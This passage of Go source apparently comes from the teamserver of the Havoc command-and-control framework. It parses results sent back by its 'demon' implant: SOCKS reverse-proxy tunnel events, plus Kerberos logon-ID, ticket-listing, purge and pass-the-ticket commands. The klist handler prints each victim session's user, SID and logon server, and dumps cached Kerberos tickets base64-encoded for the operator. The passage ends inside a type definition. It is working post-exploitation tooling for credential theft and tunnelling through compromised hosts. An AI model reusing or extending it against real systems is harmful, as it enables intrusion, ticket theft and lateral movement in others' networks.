{\n\t\t\t\t\tvar (\n\t\t\t\t\t\tId      = Parser.ParseInt32()\n\t\t\t\t\t\tType    = Parser.ParseInt32()\n\t\t\t\t\t\tSuccess = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tif Success == win32.FALSE {\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\t\t\t\t\t\t\tvar (\n\t\t\t\t\t\t\t\tErrorCode = Parser.ParseInt32()\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\tlogger.Warn(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Id: %08x, Type: %d, Failed with: %d\", AgentID, Id, Type, ErrorCode))\n\t\t\t\t\t\t\ta.Console(teamserver.AgentConsole, \"Erro\", fmt.Sprintf(\"Failed to write to socks target %v: %v\", Id, ErrorCode), \"\")\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_CLOSE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSockId = Parser.ParseInt32()\n\t\t\t\t\t\tType   = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CLOSE,   Id: %08x, Type: %d\", AgentID, SockId, Type))\n\n\t\t\t\t\tif Type == SOCKET_TYPE_REVERSE_PROXY {\n\n\t\t\t\t\t\t/* lets remove it */\n\t\t\t\t\t\tif a.SocksClientClose(int32(SockId)) == false {\n\t\t\t\t\t\t\tlogger.Error(fmt.Sprintf(\"SockId not found: %08x\", SockId))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.Error(fmt.Sprintf(\"Invalid socket type: %d\", Type))\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CLOSE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase SOCKET_COMMAND_CONNECT:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {\n\n\t\t\t\t\tvar (\n\t\t\t\t\t\tSuccess   = Parser.ParseInt32()\n\t\t\t\t\t\tSocketId  = Parser.ParseInt32()\n\t\t\t\t\t\tErrorCode = Parser.ParseInt32()\n\t\t\t\t\t)\n\n\t\t\t\t\tif Client := a.SocksClientGet(SocketId); Client != nil {\n\n\t\t\t\t\t\tif Success == win32.TRUE {\n\t\t\t\t\t\t\t// succeeded\n\n\t\t\t\t\t\t\t// avoid too much spam\n\t\t\t\t\t\t\t//logger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Id: %08x, Type: %d, Success: %d\", AgentID, SocketId, SOCKET_TYPE_REVERSE_PROXY, Success))\n\n\t\t\t\t\t\t\terr := socks.SendConnectSuccess(Client.Conn, Client.ATYP, Client.IpDomain, Client.Port)\n\t\t\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t\t\tClient.Connected = true\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Id: %08x, Type: %d, Success: %d, ErrorCode: %d\", AgentID, SocketId, SOCKET_TYPE_REVERSE_PROXY, Success, ErrorCode))\n\n\t\t\t\t\t\t\tsocks.SendConnectFailure(Client.Conn, uint32(ErrorCode), Client.ATYP, Client.IpDomain, Client.Port)\n\n\t\t\t\t\t\t\ta.SocksClientClose(int32(SocketId))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Socket id not found: %x\", AgentID, SocketId))\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET - UNKNOWN (%d)\", AgentID, SubCommand))\n\t\t\t}\n\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_SOCKET, Invalid packet\", AgentID))\n\t\t\tMessage = map[string]string{\n\t\t\t\t\"Type\":    \"Error\",\n\t\t\t\t\"Message\": fmt.Sprintf(\"Callback output is smaller than expected. Callback type COMMAND_SOCKET expected at least 4 bytes but received %v bytes\", Parser.Length()),\n\t\t\t}\n\t\t}\n\n\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\n\t\tbreak\n\n\tcase COMMAND_KERBEROS:\n\n\t\tvar (\n\t\t\tSubCommand int\n\t\t\tMessage    map[string]string\n\t\t\tHighPart   int\n\t\t\tLowPart    int\n\t\t\tSuccess    int\n\t\t)\n\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\tSubCommand = Parser.ParseInt32()\n\n\t\t\tswitch SubCommand {\n\n\t\t\tcase KERBEROS_COMMAND_LUID:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\tSuccess = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Success: %d\", AgentID, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\n\t\t\t\t\t\t\tHighPart = Parser.ParseInt32()\n\t\t\t\t\t\t\tLowPart = Parser.ParseInt32()\n\n\t\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\t\t\"Message\": fmt.Sprintf(\"Current LogonId: %x:0x%x\", HighPart, LowPart),\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS  - KERBEROS_COMMAND_LUID, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Erro\",\n\t\t\t\t\t\t\t\"Message\": \"Failed to obtain the current logon ID\",\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS  - KERBEROS_COMMAND_LUID, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\tcase KERBEROS_COMMAND_KLIST:\n\n\t\t\t\tvar (\n\t\t\t\t\tNumSessions           int\n\t\t\t\t\tNumTickets            int\n\t\t\t\t\tOutput                string\n\t\t\t\t\tUserName              string\n\t\t\t\t\tDomain                string\n\t\t\t\t\tLogonIdLow            int\n\t\t\t\t\tLogonIdHigh           int\n\t\t\t\t\tSession               int\n\t\t\t\t\tUserSID               string\n\t\t\t\t\tLogonTimeLow          int\n\t\t\t\t\tLogonTimeHigh         int\n\t\t\t\t\tLogonTime             int64\n\t\t\t\t\tLogonType             int\n\t\t\t\t\tAuthenticationPackage string\n\t\t\t\t\tLogonServer           string\n\t\t\t\t\tLogonServerDNSDomain  string\n\t\t\t\t\tUpn                   string\n\t\t\t\t\tClientName            string\n\t\t\t\t\tClientRealm           string\n\t\t\t\t\tServerName            string\n\t\t\t\t\tServerRealm           string\n\t\t\t\t\tStartTime             int64\n\t\t\t\t\tStartTimeLow          int\n\t\t\t\t\tStartTimeHigh         int\n\t\t\t\t\tEndTime               int64\n\t\t\t\t\tEndTimeLow            int\n\t\t\t\t\tEndTimeHigh           int\n\t\t\t\t\tRenewTime             int64\n\t\t\t\t\tRenewTimeLow          int\n\t\t\t\t\tRenewTimeHigh         int\n\t\t\t\t\tEncryptionType        int\n\t\t\t\t\tTicketFlags           int\n\t\t\t\t\tTicketFlagsStr        string\n\t\t\t\t\tTicket                []byte\n\t\t\t\t)\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\tSuccess = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Success: %d\", AgentID, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\n\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\t\t\tNumSessions = Parser.ParseInt32()\n\n\t\t\t\t\t\t\tfor NumSessions > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes}) {\n\n\t\t\t\t\t\t\t\tUserName = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\tDomain = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\tLogonIdLow = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tLogonIdHigh = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tSession = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tUserSID = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\tLogonTimeLow = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tLogonTimeHigh = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tLogonType = Parser.ParseInt32()\n\t\t\t\t\t\t\t\tAuthenticationPackage = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\tLogonServer = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\tLogonServerDNSDomain = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\tUpn = Parser.ParseUTF16String()\n\n\t\t\t\t\t\t\t\tLogonTypes := map[int]string{\n\t\t\t\t\t\t\t\t\twin32.LOGON32_LOGON_INTERACTIVE:       \"Interactive\",\n\t\t\t\t\t\t\t\t\twin32.LOGON32_LOGON_NETWORK:           \"Network\",\n\t\t\t\t\t\t\t\t\twin32.LOGON32_LOGON_BATCH:             \"Batch\",\n\t\t\t\t\t\t\t\t\twin32.LOGON32_LOGON_SERVICE:           \"Service\",\n\t\t\t\t\t\t\t\t\twin32.LOGON32_LOGON_UNLOCK:            \"Unlock\",\n\t\t\t\t\t\t\t\t\twin32.LOGON32_LOGON_NETWORK_CLEARTEXT: \"Network_Cleartext\",\n\t\t\t\t\t\t\t\t\twin32.LOGON32_LOGON_NEW_CREDENTIALS:   \"New_Credentials\",\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t// go from FILETIME to SYSTEMTIME\n\t\t\t\t\t\t\t\tLogonTime = int64((((LogonTimeHigh << (4 * 8)) | LogonTimeLow) - 0x019DB1DED53E8000) / 10000000)\n\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"UserName                : %s\\n\", UserName)\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"Domain                  : %s\\n\", Domain)\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"LogonId                 : %x:0x%x\\n\", LogonIdHigh, LogonIdLow)\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"Session                 : %d\\n\", Session)\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"UserSID                 : %s\\n\", UserSID)\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"LogonTime               : %s\\n\", time.Unix(LogonTime, 0))\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"Authentication package  : %s\\n\", AuthenticationPackage)\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"LogonType               : %s\\n\", LogonTypes[LogonType])\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"LogonServer             : %s\\n\", LogonServer)\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"LogonServerDNSDomain    : %s\\n\", LogonServerDNSDomain)\n\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"UserPrincipalName       : %s\\n\", Upn)\n\n\t\t\t\t\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\t\t\t\t\tNumTickets = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"Cached tickets:         : %d\\n\", NumTickets)\n\n\t\t\t\t\t\t\t\t\tfor NumTickets > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes}) {\n\n\t\t\t\t\t\t\t\t\t\tClientName = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\t\t\tClientRealm = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\t\t\tServerName = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\t\t\tServerRealm = Parser.ParseUTF16String()\n\t\t\t\t\t\t\t\t\t\tStartTimeLow = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tStartTimeHigh = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tEndTimeLow = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tEndTimeHigh = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tRenewTimeLow = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tRenewTimeHigh = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tEncryptionType = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tTicketFlags = Parser.ParseInt32()\n\t\t\t\t\t\t\t\t\t\tTicket = Parser.ParseBytes()\n\n\t\t\t\t\t\t\t\t\t\t// go from FILETIME to SYSTEMTIME\n\t\t\t\t\t\t\t\t\t\tStartTime = int64((((StartTimeHigh << (4 * 8)) | StartTimeLow) - 0x019DB1DED53E8000) / 10000000)\n\t\t\t\t\t\t\t\t\t\tEndTime = int64((((EndTimeHigh << (4 * 8)) | EndTimeLow) - 0x019DB1DED53E8000) / 10000000)\n\t\t\t\t\t\t\t\t\t\tRenewTime = int64((((RenewTimeHigh << (4 * 8)) | RenewTimeLow) - 0x019DB1DED53E8000) / 10000000)\n\n\t\t\t\t\t\t\t\t\t\tEncryptionTypes := map[int]string{\n\t\t\t\t\t\t\t\t\t\t\twin32.DES_CBC_CRC:                  \"DES_CBC_CRC\",\n\t\t\t\t\t\t\t\t\t\t\twin32.DES_CBC_MD4:                  \"DES_CBC_MD4\",\n\t\t\t\t\t\t\t\t\t\t\twin32.DES_CBC_MD5:                  \"DES_CBC_MD5\",\n\t\t\t\t\t\t\t\t\t\t\twin32.DES3_CBC_MD5:                 \"DES3_CBC_MD5\",\n\t\t\t\t\t\t\t\t\t\t\twin32.DES3_CBC_SHA1:                \"DES3_CBC_SHA1\",\n\t\t\t\t\t\t\t\t\t\t\twin32.DSAWITHSHA1_CMSOID:           \"DSAWITHSHA1_CMSOID\",\n\t\t\t\t\t\t\t\t\t\t\twin32.MD5WITHRSAENCRYPTION_CMSOID:  \"MD5WITHRSAENCRYPTION_CMSOID\",\n\t\t\t\t\t\t\t\t\t\t\twin32.SHA1WITHRSAENCRYPTION_CMSOID: \"SHA1WITHRSAENCRYPTION_CMSOID\",\n\t\t\t\t\t\t\t\t\t\t\twin32.RC2CBC_ENVOID:                \"RC2CBC_ENVOID\",\n\t\t\t\t\t\t\t\t\t\t\twin32.RSAENCRYPTION_ENVOID:         \"RSAENCRYPTION_ENVOID\",\n\t\t\t\t\t\t\t\t\t\t\twin32.RSAES_OAEP_ENV_OID:           \"RSAES_OAEP_ENV_OID\",\n\t\t\t\t\t\t\t\t\t\t\twin32.DES3_CBC_SHA1_KD:             \"DES3_CBC_SHA1_KD\",\n\t\t\t\t\t\t\t\t\t\t\twin32.AES128_CTS_HMAC_SHA1:         \"AES128_CTS_HMAC_SHA1\",\n\t\t\t\t\t\t\t\t\t\t\twin32.AES256_CTS_HMAC_SHA1:         \"AES256_CTS_HMAC_SHA1\",\n\t\t\t\t\t\t\t\t\t\t\twin32.RC4_HMAC:                     \"RC4_HMAC\",\n\t\t\t\t\t\t\t\t\t\t\twin32.RC4_HMAC_EXP:                 \"RC4_HMAC_EXP\",\n\t\t\t\t\t\t\t\t\t\t\twin32.SUBKEY_KEYMATERIAL:           \"SUBKEY_KEYMATERIAL\",\n\t\t\t\t\t\t\t\t\t\t\twin32.OLD_EXP:                      \"OLD_EXP\",\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tTicketFlagTypes := []string{\n\t\t\t\t\t\t\t\t\t\t\t\"name_canonicalize\",\n\t\t\t\t\t\t\t\t\t\t\t\"anonymous\",\n\t\t\t\t\t\t\t\t\t\t\t\"ok_as_delegate\",\n\t\t\t\t\t\t\t\t\t\t\t\"?\",\n\t\t\t\t\t\t\t\t\t\t\t\"hw_authent\",\n\t\t\t\t\t\t\t\t\t\t\t\"pre_authent\",\n\t\t\t\t\t\t\t\t\t\t\t\"initial\",\n\t\t\t\t\t\t\t\t\t\t\t\"renewable\",\n\t\t\t\t\t\t\t\t\t\t\t\"invalid\",\n\t\t\t\t\t\t\t\t\t\t\t\"postdated\",\n\t\t\t\t\t\t\t\t\t\t\t\"may_postdate\",\n\t\t\t\t\t\t\t\t\t\t\t\"proxy\",\n\t\t\t\t\t\t\t\t\t\t\t\"proxiable\",\n\t\t\t\t\t\t\t\t\t\t\t\"forwarded\",\n\t\t\t\t\t\t\t\t\t\t\t\"forwardable\",\n\t\t\t\t\t\t\t\t\t\t\t\"reserved\",\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tTicketFlagsStr = \"\"\n\n\t\t\t\t\t\t\t\t\t\tfor i := 0; i < 16; i++ {\n\t\t\t\t\t\t\t\t\t\t\tif ((TicketFlags >> (i + 16)) & 1) == 1 {\n\t\t\t\t\t\t\t\t\t\t\t\tTicketFlagsStr += \" \" + TicketFlagTypes[i]\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tTicketFlagsStr += fmt.Sprintf(\" (0x%x)\", TicketFlags)\n\n\t\t\t\t\t\t\t\t\t\tOutput += \"\\n\"\n\t\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"\\tClient name     : %s @ %s\\n\", ClientName, ClientRealm)\n\t\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"\\tServer name     : %s @ %s\\n\", ServerName, ServerRealm)\n\t\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"\\tStart time      : %s\\n\", time.Unix(StartTime, 0))\n\t\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"\\tEnd time        : %s\\n\", time.Unix(EndTime, 0))\n\t\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"\\tRewnew time     : %s\\n\", time.Unix(RenewTime, 0))\n\t\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"\\tEncryption type : %s\\n\", EncryptionTypes[EncryptionType])\n\t\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"\\tFlags           :%s\\n\", TicketFlagsStr)\n\t\t\t\t\t\t\t\t\t\tif len(Ticket) > 0 {\n\t\t\t\t\t\t\t\t\t\t\tOutput += fmt.Sprintf(\"\\tTicket          : %s\\n\", base64.StdEncoding.EncodeToString(Ticket))\n\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\tNumTickets -= 1\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS  - KERBEROS_COMMAND_KLIST, Invalid packet\", AgentID))\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tOutput += \"\\n\"\n\n\t\t\t\t\t\t\t\tNumSessions -= 1\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\t\"Type\":   \"Info\",\n\t\t\t\t\t\t\t\t\"Output\": Output,\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS  - KERBEROS_COMMAND_KLIST, Invalid packet\", AgentID))\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Erro\",\n\t\t\t\t\t\t\t\"Message\": \"Failed to list all kerberos tickets\",\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS  - KERBEROS_COMMAND_KLIST, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\t\tbreak\n\n\t\t\tcase KERBEROS_COMMAND_PURGE:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\tSuccess = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PURGE, Success: %d\", AgentID, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\t\"Message\": \"Successfully purged the Kerberos ticket\",\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Erro\",\n\t\t\t\t\t\t\t\"Message\": \"Failed to purge the kerberos ticket\",\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS  - KERBEROS_COMMAND_PURGE, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\tcase KERBEROS_COMMAND_PTT:\n\n\t\t\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {\n\n\t\t\t\t\tSuccess = Parser.ParseInt32()\n\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PTT, Success: %d\", AgentID, Success))\n\n\t\t\t\t\tif Success == win32.TRUE {\n\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Good\",\n\t\t\t\t\t\t\t\"Message\": \"Successfully imported the Kerberos ticket\",\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tMessage = map[string]string{\n\t\t\t\t\t\t\t\"Type\":    \"Erro\",\n\t\t\t\t\t\t\t\"Message\": \"Failed to import the kerberos ticket\",\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\ta.RequestCompleted(RequestID)\n\t\t\t\t} else {\n\t\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS  - KERBEROS_COMMAND_PTT, Invalid packet\", AgentID))\n\t\t\t\t}\n\n\t\t\tdefault:\n\t\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS - UNKNOWN (%d)\", AgentID, SubCommand))\n\t\t\t}\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_KERBEROS, Invalid packet\", AgentID))\n\t\t}\n\n\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\n\t\tbreak\n\n\tcase COMMAND_MEM_FILE:\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tMemFileID = Parser.ParseInt32()\n\t\t\t\tSuccess   = Parser.ParseInt32()\n\t\t\t)\n\n\t\t\t// TODO: don't ignore this packet?\n\t\t\t//       if this fails, then inline-execute, dotnet, or upload will show the error\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_MEM_FILE, Success: %d, MemFileID: %x\", AgentID, Success, MemFileID))\n\t\t\ta.RequestCompleted(RequestID)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_MEM_FILE, Invalid packet\", AgentID))\n\t\t}\n\n\t\tbreak;\n\n\tcase COMMAND_PACKAGE_DROPPED:\n\t\tvar (\n\t\t\tMessage    map[string]string\n\t\t)\n\t\tif Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {\n\t\t\tvar (\n\t\t\t\tPkgLength = Parser.ParseInt32()\n\t\t\t\tMaxLength = Parser.ParseInt32()\n\t\t\t)\n\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PACKAGE_DROPPED, PkgLength: 0x%x, MaxLength: 0x%x\", AgentID, PkgLength, MaxLength))\n\n\t\t\tMessage = map[string]string{\n\t\t\t\t\"Type\":    \"Erro\",\n\t\t\t\t\"Message\": \"A package was discarded by demon for being larger than PIPE_BUFFER_MAX\",\n\t\t\t}\n\n\t\t\t// a single command can generate multiple dropped packages\n\t\t\t//a.RequestCompleted(RequestID)\n\t\t} else {\n\t\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: COMMAND_PACKAGE_DROPPED, Invalid packet\", AgentID))\n\t\t}\n\n\t\tteamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n\n\t\tbreak;\n\n\tdefault:\n\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, Command: UNKNOWN (%d))\", AgentID, CommandID))\n\t\t/* end of the switch case output parser */\n\t\tbreak\n\t}\n\n\tif Parser.Length() > 0 {\n\t\tlogger.Debug(fmt.Sprintf(\"Agent: %x, %d bytes were left unread\", AgentID, Parser.Length()))\n\t}\n}\n\nfunc (a *Agent) Console(Console func(DemonID string, CommandID int, Output map[string]string), Type, Text, Output string) {\n\tvar Message = map[string]string{\n\t\t\"Type\":    Type,\n\t\t\"Message\": Text,\n\t\t\"Output\":  Output,\n\t}\n\n\tConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)\n}\n"
  },
  {
    "path": "teamserver/pkg/agent/types.go",
    "content": "package agent\n\nimport (\n\t\"sync\"\n\t\"net\"\n\t\"os\"\n\n\t\"Havoc/pkg/common/parser\"\n\t\"Havoc/pkg/packager\"\n\t\"Havoc/pkg/socks\"\n)\n\nconst (\n\ttypeGood  = \"Good\"\n\ttypeInfo  = \"Info\"\n\ttypeError = \"Error\"\n)\n\ntype DemonInterface interface {\n\t// TODO: move everything from RoutineFunc here\n}\n\ntype EventInterface interface {\n}\n\ntype Header struct {\n\tSize       int\n\tMagicValue int\n\tAgentID    int\n\tData       *parser.Parser\n}\n\ntype ServiceAgentInterface interface {\n\tSendResponse(AgentInfo any, Header Header) []byte\n\tSendAgentBuildRequest(ClientID string, Config map[string]any, Listener map[string]any)\n}\n\n// TeamServer\n// interface that allows us to interact with the core teamserver\ntype TeamServer interface {\n\tAgentUpdate(agent *Agent)\n\tDied(Agent *Agent)\n\tParentOf(Agent *Agent) (int, error)\n\tLinksOf(Agent *Agent) []int\n\tLinkRemove(ParentAgent *Agent, LinkAgent *Agent, UpdateLinks bool)\n\tLinkAdd(ParentAgent *Agent, LinkAgent *Agent) error\n\tAgentHasDied(Agent *Agent) bool\n\tAgentAdd(agent *Agent) []*Agent\n\tPythonModuleCallback(ClientID string, AgentID string, CommandID int, Output map[string]string)\n\tAgentSendNotify(agent *Agent)\n\tAgentCallbackSize(DemonInstance *Agent, i int)\n\tAgentInstance(AgentID int) *Agent\n\tAgentLastTimeCalled(AgentID string, LastCallback string, Sleep int, Jitter int, KillDate int64, WorkingHours int32)\n\tAgentExist(AgentID int) bool\n\tAgentConsole(DemonID string, CommandID int, Output map[string]string)\n\n\tEventAppend(event 